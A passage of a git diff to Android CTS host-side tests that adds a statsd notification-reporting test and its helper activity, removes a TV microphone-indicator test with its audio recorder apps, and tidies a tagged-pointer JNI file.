+++ b/hostsidetests/systemui/Android.bp
@@ -24,6 +24,11 @@
         "cts-tradefed",
         "tradefed",
         "compatibility-host-util",
+        "core_cts_test_resources",
+    ],
+
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
     ],
     // Tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/systemui/AndroidTest.xml b/hostsidetests/systemui/AndroidTest.xml
index 1fa4c74..dd1d8a6 100644
--- a/hostsidetests/systemui/AndroidTest.xml
+++ b/hostsidetests/systemui/AndroidTest.xml
@@ -22,8 +22,6 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemUiDeviceApp.apk" />
-        <option name="test-file-name" value="CtsSystemUiDeviceAudioRecorderAppAudioRecord.apk" />
-        <option name="test-file-name" value="CtsSystemUiDeviceAudioRecorderAppMediaRecorder.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSystemUiHostTestCases.jar" />
diff --git a/hostsidetests/systemui/TEST_MAPPING b/hostsidetests/systemui/TEST_MAPPING
new file mode 100644
index 0000000..6680744
--- /dev/null
+++ b/hostsidetests/systemui/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSystemUiHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/systemui/app/AndroidManifest.xml b/hostsidetests/systemui/app/AndroidManifest.xml
index 30be410..0ffc130 100755
--- a/hostsidetests/systemui/app/AndroidManifest.xml
+++ b/hostsidetests/systemui/app/AndroidManifest.xml
@@ -16,35 +16,39 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.systemui.cts">
+     package="android.systemui.cts">
 
     <application>
+        <activity android:name=".TestNotificationActivity"
+                  android:exported="true"/>
+
         <service android:name=".TestTileService"
-            android:icon="@android:drawable/ic_delete"
-            android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+             android:icon="@android:drawable/ic_delete"
+             android:permission="android.permission.BIND_QUICK_SETTINGS_TILE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quicksettings.action.QS_TILE" />
+                <action android:name="android.service.quicksettings.action.QS_TILE"/>
             </intent-filter>
         </service>
 
         <service android:name=".TestActiveTileService"
-            android:icon="@android:drawable/ic_delete"
-            android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+             android:icon="@android:drawable/ic_delete"
+             android:permission="android.permission.BIND_QUICK_SETTINGS_TILE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quicksettings.action.QS_TILE" />
+                <action android:name="android.service.quicksettings.action.QS_TILE"/>
             </intent-filter>
             <meta-data android:name="android.service.quicksettings.ACTIVE_TILE"
-                android:value="true" />
+                 android:value="true"/>
         </service>
 
-        <receiver
-            android:name=".TestActiveTileService$Receiver">
+        <receiver android:name=".TestActiveTileService$Receiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.sysui.testtile.REQUEST_LISTENING" />
+                <action android:name="android.sysui.testtile.REQUEST_LISTENING"/>
             </intent-filter>
         </receiver>
 
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/systemui/app/res/layout/activity_notification.xml b/hostsidetests/systemui/app/res/layout/activity_notification.xml
new file mode 100644
index 0000000..836f7bb
--- /dev/null
+++ b/hostsidetests/systemui/app/res/layout/activity_notification.xml
@@ -0,0 +1,21 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="fill_parent"
+                android:layout_height="fill_parent"
+                android:orientation="vertical">
+</RelativeLayout>
\ No newline at end of file
diff --git a/hostsidetests/systemui/app/src/android/systemui/cts/TestNotificationActivity.java b/hostsidetests/systemui/app/src/android/systemui/cts/TestNotificationActivity.java
new file mode 100644
index 0000000..fc5c7c1
--- /dev/null
+++ b/hostsidetests/systemui/app/src/android/systemui/cts/TestNotificationActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestNotificationActivity extends Activity {
+    private static final String TAG = TestNotificationActivity.class.getSimpleName();
+
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        Intent intent = this.getIntent();
+        if (intent == null) {
+            Log.e(TAG, "Intent was null.");
+            finish();
+        }
+
+        String action = intent.getStringExtra(KEY_ACTION);
+        Log.i(TAG, "Starting " + action + " from foreground activity.");
+
+        switch (action) {
+            case ACTION_SHOW_NOTIFICATION:
+                doShowNotification();
+                break;
+            default:
+                Log.e(TAG, "Intent had invalid action " + action);
+                finish();
+        }
+    }
+
+    private void doShowNotification() {
+        final int notificationId = R.layout.activity_notification;
+        final String notificationChannelId = "SystemUiCtsChannel";
+
+        NotificationManager nm = getSystemService(NotificationManager.class);
+        NotificationChannel channel = new NotificationChannel(notificationChannelId, "SystemUi Cts",
+                NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setDescription("SystemUi Cts Channel");
+        nm.createNotificationChannel(channel);
+
+        nm.notify(
+                notificationId,
+                new Notification.Builder(this, notificationChannelId)
+                        .setSmallIcon(android.R.drawable.stat_notify_chat)
+                        .setContentTitle("SystemUiCts")
+                        .setContentText("SystemUiCts")
+                        .build());
+        finish();
+    }
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
deleted file mode 100644
index 1d4c23b..0000000
--- a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsSystemUiDeviceAudioRecorderAppAudioRecord",
-    static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
deleted file mode 100644
index 4eece94..0000000
--- a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsSystemUiDeviceAudioRecorderAppMediaRecorder",
-    static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/systemui/audiorecorder_base/Android.bp b/hostsidetests/systemui/audiorecorder_base/Android.bp
deleted file mode 100644
index b8a394e..0000000
--- a/hostsidetests/systemui/audiorecorder_base/Android.bp
+++ /dev/null
@@ -1,25 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_library {
-    name: "CtsSystemUiDeviceAudioRecorderBase",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    resource_dirs: ["res"],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/systemui/src/android/host/systemui/StatsdNotificationAtomTest.java b/hostsidetests/systemui/src/android/host/systemui/StatsdNotificationAtomTest.java
new file mode 100644
index 0000000..2c6de47
--- /dev/null
+++ b/hostsidetests/systemui/src/android/host/systemui/StatsdNotificationAtomTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.host.systemui;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.server.notification.SmallHash;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Collections;
+import java.util.List;
+
+@AppModeFull(reason = "Flaky in Instant mode")
+public class StatsdNotificationAtomTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String NOTIFICATION_TEST_APK = "CtsSystemUiDeviceApp.apk";
+    private static final String NOTIFICATION_TEST_PKG = "android.systemui.cts";
+
+    private static final String TEST_NOTIFICATION_ACTIVITY = "TestNotificationActivity";
+    private static final String ACTION_KEY = "action";
+    private static final String ACTION_VALUE = "action.show_notification";
+    private static final String NOTIFICATION_CHANNEL_ID = "SystemUiCtsChannel";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installTestApp(getDevice(), NOTIFICATION_TEST_APK, NOTIFICATION_TEST_PKG,
+                mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallTestApp(getDevice(), NOTIFICATION_TEST_PKG);
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testNotificationReported() throws Exception {
+        StatsdConfigProto.StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                NOTIFICATION_TEST_PKG);
+        StatsdConfigProto.FieldValueMatcher.Builder fvm = ConfigUtils.createFvm(
+                AtomsProto.NotificationReported.PACKAGE_NAME_FIELD_NUMBER).setEqString(
+                NOTIFICATION_TEST_PKG);
+        ConfigUtils.addEventMetric(config, AtomsProto.Atom.NOTIFICATION_REPORTED_FIELD_NUMBER,
+                Collections.singletonList(fvm));
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        DeviceUtils.runActivity(getDevice(), NOTIFICATION_TEST_PKG,
+                TEST_NOTIFICATION_ACTIVITY, ACTION_KEY, ACTION_VALUE);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(1);
+        assertThat(data.get(0).getAtom().hasNotificationReported()).isTrue();
+        AtomsProto.NotificationReported n = data.get(0).getAtom().getNotificationReported();
+        assertThat(n.getPackageName()).isEqualTo(NOTIFICATION_TEST_PKG);
+        assertThat(n.getUid()).isEqualTo(DeviceUtils.getAppUid(getDevice(), NOTIFICATION_TEST_PKG));
+        assertThat(n.getNotificationIdHash()).isEqualTo(0);  // smallHash(0x7F020000)
+        assertThat(n.getChannelIdHash()).isEqualTo(SmallHash.hash(NOTIFICATION_CHANNEL_ID));
+        assertThat(n.getGroupIdHash()).isEqualTo(0);
+        assertFalse(n.getIsGroupSummary());
+        assertThat(n.getCategory()).isEmpty();
+        assertThat(n.getStyle()).isEqualTo(0);
+        assertThat(n.getNumPeople()).isEqualTo(0);
+    }
+}
diff --git a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
deleted file mode 100644
index 674226c..0000000
--- a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
+++ /dev/null
@@ -1,358 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.host.systemui;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import com.android.server.wm.ActivityRecordProto;
-import com.android.server.wm.DisplayAreaProto;
-import com.android.server.wm.DisplayContentProto;
-import com.android.server.wm.RootWindowContainerProto;
-import com.android.server.wm.TaskProto;
-import com.android.server.wm.WindowContainerChildProto;
-import com.android.server.wm.WindowContainerProto;
-import com.android.server.wm.WindowManagerServiceDumpProto;
-import com.android.server.wm.WindowStateProto;
-import com.android.server.wm.WindowTokenProto;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-
-import org.junit.After;
-import org.junit.Ignore;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-@Ignore
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class TvMicrophoneCaptureIndicatorTest extends BaseHostJUnit4Test {
-    private static final String SHELL_AM_START_FG_SERVICE =
-            "am start-foreground-service -n %s -a %s";
-    private static final String SHELL_AM_FORCE_STOP =
-            "am force-stop %s";
-    private static final String SHELL_DUMPSYS_WINDOW = "dumpsys window --proto";
-    private static final String SHELL_PID_OF = "pidof %s";
-
-    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
-
-    private static final String AUDIO_RECORDER_AR_PACKAGE_NAME =
-            "android.systemui.cts.audiorecorder.audiorecord";
-    private static final String AUDIO_RECORDER_MR_PACKAGE_NAME =
-            "android.systemui.cts.audiorecorder.mediarecorder";
-    private static final String AUDIO_RECORDER_AR_SERVICE_COMPONENT =
-            AUDIO_RECORDER_AR_PACKAGE_NAME + "/.AudioRecorderService";
-    private static final String AUDIO_RECORDER_MR_SERVICE_COMPONENT =
-            AUDIO_RECORDER_MR_PACKAGE_NAME + "/.AudioRecorderService";
-    private static final String AUDIO_RECORDER_ACTION_START =
-            "android.systemui.cts.audiorecorder.ACTION_START";
-    private static final String AUDIO_RECORDER_ACTION_STOP =
-            "android.systemui.cts.audiorecorder.ACTION_STOP";
-    private static final String AUDIO_RECORDER_ACTION_THROW =
-            "android.systemui.cts.audiorecorder.ACTION_THROW";
-
-    private static final String SHELL_AR_START_REC = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_AR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_START);
-    private static final String SHELL_AR_STOP_REC = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_AR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_STOP);
-    private static final String SHELL_MR_START_REC = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_MR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_START);
-    private static final String SHELL_MR_STOP_REC = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_MR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_STOP);
-    private static final String SHELL_AR_FORCE_STOP = String.format(SHELL_AM_FORCE_STOP,
-            AUDIO_RECORDER_AR_PACKAGE_NAME);
-    private static final String SHELL_MR_FORCE_STOP = String.format(SHELL_AM_FORCE_STOP,
-            AUDIO_RECORDER_MR_PACKAGE_NAME);
-    private static final String SHELL_AR_THROW = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_AR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_THROW);
-    private static final String SHELL_MR_THROW = String.format(SHELL_AM_START_FG_SERVICE,
-            AUDIO_RECORDER_MR_SERVICE_COMPONENT,
-            AUDIO_RECORDER_ACTION_THROW);
-
-    private static final String WINDOW_TITLE_MIC_INDICATOR = "MicrophoneCaptureIndicator";
-
-    private static final long ONE_SECOND = 1000L;
-    private static final long THREE_SECONDS = 3 * ONE_SECOND;
-    private static final long FIVE_SECONDS = 5 * ONE_SECOND;
-    private static final long THREE_HUNDRED_MILLISECONDS = (long) (0.3 * ONE_SECOND);
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingAudioRecordApi() throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
-                SHELL_AR_STOP_REC);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingMediaRecorderApi() throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
-                SHELL_MR_STOP_REC);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingAudioRecordApiAndForceStopped()
-            throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
-                SHELL_AR_FORCE_STOP);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingMediaRecorderApiAndForceStopped()
-            throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
-                SHELL_MR_FORCE_STOP);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingAudioRecordApiAndCrashed() throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
-                SHELL_AR_THROW);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingMediaRecorderApiAndCrashed() throws Exception {
-        runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
-                SHELL_MR_THROW);
-    }
-
-    @Test
-    public void testIndicatorShownWhileRecordingUsingBothApisSimultaneously() throws Exception {
-        assumeTrue("Not running on a Leanback (TV) device",
-                getDevice().hasFeature(FEATURE_LEANBACK_ONLY));
-
-        // Check that the indicator isn't shown initially
-        assertIndicatorInvisible();
-
-        // Start recording using MediaRecorder API
-        getDevice().executeShellCommand(SHELL_MR_START_REC);
-
-        // Wait for the application to be launched
-        waitForProcessToComeAlive(AUDIO_RECORDER_MR_PACKAGE_NAME);
-
-        // Wait for a second, and then check that the indicator is shown
-        Thread.sleep(ONE_SECOND);
-        assertIndicatorVisible();
-
-        // Start recording using AudioRecord API
-        getDevice().executeShellCommand(SHELL_AR_START_REC);
-
-        // Wait for the application to be launched
-        waitForProcessToComeAlive(AUDIO_RECORDER_AR_PACKAGE_NAME);
-
-        // Check that the indicator is still shown
-        assertIndicatorVisible();
-
-        // Check 3 more times that the indicator remains shown
-        for (int i = 0; i < 3; i++) {
-            Thread.sleep(ONE_SECOND);
-            assertIndicatorVisible();
-        }
-
-        // Stop recording using MediaRecorder API
-        getDevice().executeShellCommand(SHELL_MR_STOP_REC);
-
-        // check that the indicator is still shown
-        assertIndicatorVisible();
-
-        // Check 3 more times that the indicator remains shown
-        for (int i = 0; i < 3; i++) {
-            Thread.sleep(ONE_SECOND);
-            assertIndicatorVisible();
-        }
-
-        // Stop recording using AudioRecord API
-        getDevice().executeShellCommand(SHELL_AR_STOP_REC);
-
-        // Wait for five seconds and make sure that the indicator is not shown
-        Thread.sleep(FIVE_SECONDS);
-        assertIndicatorInvisible();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        // Kill both apps
-        getDevice().executeShellCommand(SHELL_AR_FORCE_STOP);
-        getDevice().executeShellCommand(SHELL_MR_FORCE_STOP);
-    }
-
-    private void runSimpleStartStopTestRoutine(String packageName, String startCommand,
-            String stopCommand) throws Exception {
-        assumeTrue("Not running on a Leanback (TV) device",
-                getDevice().hasFeature(FEATURE_LEANBACK_ONLY));
-
-        // Check that the indicator isn't shown initially
-        assertIndicatorInvisible();
-
-        // Start recording using AudioRecord API
-        getDevice().executeShellCommand(startCommand);
-
-        // Wait for the application to be launched
-        waitForProcessToComeAlive(packageName);
-
-        // Wait for a second, and then check that the indicator is shown, repeat 2 more times
-        for (int i = 0; i < 3; i++) {
-            Thread.sleep(ONE_SECOND);
-            assertIndicatorVisible();
-        }
-
-        // Stop recording (this may either send a command to the app to stop recording or command
-        // to crash or force-stop the app)
-        getDevice().executeShellCommand(stopCommand);
-
-        // Wait for five seconds and make sure that the indicator is not shown
-        Thread.sleep(FIVE_SECONDS);
-        assertIndicatorInvisible();
-    }
-
-    private void waitForProcessToComeAlive(String appPackageName) throws Exception {
-        final String pidofCommand = String.format(SHELL_PID_OF, appPackageName);
-
-        long waitTime = 0;
-        while (waitTime < THREE_SECONDS) {
-            Thread.sleep(THREE_HUNDRED_MILLISECONDS);
-
-            final String pid = getDevice().executeShellCommand(pidofCommand).trim();
-            if (!pid.isEmpty()) {
-                // Process is running
-                return;
-            }
-            waitTime += THREE_HUNDRED_MILLISECONDS;
-        }
-
-        fail("The process for " + appPackageName
-                + " should have come alive within 3 secs of launching the app.");
-    }
-
-    private void assertIndicatorVisible() throws Exception {
-        final WindowStateProto window = getMicCaptureIndicatorWindow();
-
-        assertNotNull("\"MicrophoneCaptureIndicator\" window does not exist", window);
-        assertTrue("\"MicrophoneCaptureIndicator\" window is not visible",
-                window.getIsVisible());
-        assertTrue("\"MicrophoneCaptureIndicator\" window is not on screen",
-                window.getIsOnScreen());
-    }
-
-    private void assertIndicatorInvisible() throws Exception {
-        final WindowStateProto window = getMicCaptureIndicatorWindow();
-        if (window == null) {
-            // If window is not present, that's fine, there is no need to check anything else.
-            return;
-        }
-
-        assertFalse("\"MicrophoneCaptureIndicator\" window shouldn't be visible",
-                window.getIsVisible());
-        assertFalse("\"MicrophoneCaptureIndicator\" window shouldn't be present on screen",
-                window.getIsOnScreen());
-    }
-
-    private WindowStateProto getMicCaptureIndicatorWindow() throws Exception {
-        final WindowManagerServiceDumpProto dump = getDump();
-        final RootWindowContainerProto rootWindowContainer = dump.getRootWindowContainer();
-        final WindowContainerProto windowContainer = rootWindowContainer.getWindowContainer();
-
-        final List<WindowStateProto> windows = new ArrayList<>();
-        collectWindowStates(windowContainer, windows);
-
-        for (WindowStateProto window : windows) {
-            final String title = window.getIdentifier().getTitle();
-            if (WINDOW_TITLE_MIC_INDICATOR.equals(title)) {
-                return window;
-            }
-        }
-        return null;
-    }
-
-    private WindowManagerServiceDumpProto getDump() throws Exception {
-        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-        getDevice().executeShellCommand(SHELL_DUMPSYS_WINDOW, receiver);
-        return WindowManagerServiceDumpProto.parser().parseFrom(receiver.getOutput());
-    }
-
-    /**
-     * This methods implements a DFS that goes through a tree of window containers and collects all
-     * the WindowStateProto-s.
-     *
-     * WindowContainer is generic class that can hold windows directly or through its children in a
-     * hierarchy form. WindowContainer's children are WindowContainer as well. This forms a tree of
-     * WindowContainers.
-     *
-     * There are a few classes that extend WindowContainer: Task, DisplayContent, WindowToken etc.
-     * The one we are interested in is WindowState.
-     * Since Proto does not have concept of inheritance, {@link TaskProto}, {@link WindowTokenProto}
-     * etc hold a reference to a {@link WindowContainerProto} (in java code would be {@code super}
-     * reference).
-     * {@link WindowContainerProto} may a have a number of children of type
-     * {@link WindowContainerChildProto}, which represents a generic child of a WindowContainer: a
-     * WindowContainer can have multiple children of different types stored as a
-     * {@link WindowContainerChildProto}, but each instance of {@link WindowContainerChildProto} can
-     * only contain a single type.
-     *
-     * For details see /frameworks/base/core/proto/android/server/windowmanagerservice.proto
-     */
-    private void collectWindowStates(WindowContainerProto windowContainer, List<WindowStateProto> out) {
-        if (windowContainer == null) return;
-
-        final List<WindowContainerChildProto> children = windowContainer.getChildrenList();
-        for (WindowContainerChildProto child : children) {
-            if (child.hasWindowContainer()) {
-                collectWindowStates(child.getWindowContainer(), out);
-            } else if (child.hasDisplayContent()) {
-                final DisplayContentProto displayContent = child.getDisplayContent();
-                for (WindowTokenProto windowToken : displayContent.getOverlayWindowsList()) {
-                    collectWindowStates(windowToken.getWindowContainer(), out);
-                }
-                if (displayContent.hasRootDisplayArea()) {
-                    final DisplayAreaProto displayArea = displayContent.getRootDisplayArea();
-                    collectWindowStates(displayArea.getWindowContainer(), out);
-                }
-                collectWindowStates(displayContent.getWindowContainer(), out);
-            } else if (child.hasDisplayArea()) {
-                final DisplayAreaProto displayArea = child.getDisplayArea();
-                collectWindowStates(displayArea.getWindowContainer(), out);
-            } else if (child.hasTask()) {
-                final TaskProto task = child.getTask();
-                collectWindowStates(task.getWindowContainer(), out);
-            } else if (child.hasActivity()) {
-                final ActivityRecordProto activity = child.getActivity();
-                if (activity.hasWindowToken()) {
-                    final WindowTokenProto windowToken = activity.getWindowToken();
-                    collectWindowStates(windowToken.getWindowContainer(), out);
-                }
-            } else if (child.hasWindowToken()) {
-                final WindowTokenProto windowToken = child.getWindowToken();
-                collectWindowStates(windowToken.getWindowContainer(), out);
-            } else if (child.hasWindow()) {
-                final WindowStateProto window = child.getWindow();
-                // We found a Window!
-                out.add(window);
-                // ... but still aren't done
-                collectWindowStates(window.getWindowContainer(), out);
-            }
-        }
-    }
-}
diff --git a/hostsidetests/tagging/.clang-format b/hostsidetests/tagging/.clang-format
new file mode 100644
index 0000000..9a22ead
--- /dev/null
+++ b/hostsidetests/tagging/.clang-format
@@ -0,0 +1,6 @@
+BasedOnStyle: Google
+ColumnLimit: 100
+IndentWidth: 2
+AllowShortFunctionsOnASingleLine: Inline
+UseTab: Never
+
diff --git a/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp b/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
index af48ace..05220eb 100644
--- a/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
+++ b/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
@@ -14,18 +14,14 @@
  * limitations under the License.
  */
 
-/*
- * Native implementation for the JniStaticTest parts.
- */
-
 #include <errno.h>
 #include <jni.h>
 #include <stdlib.h>
+#include <string.h>
 #include <sys/prctl.h>
 #include <sys/utsname.h>
 
-extern "C" JNIEXPORT jboolean
-Java_android_cts_tagging_Utils_kernelSupportsTaggedPointers() {
+extern "C" JNIEXPORT jboolean Java_android_cts_tagging_Utils_kernelSupportsTaggedPointers() {
 #ifdef __aarch64__
 #define PR_SET_TAGGED_ADDR_CTRL 55
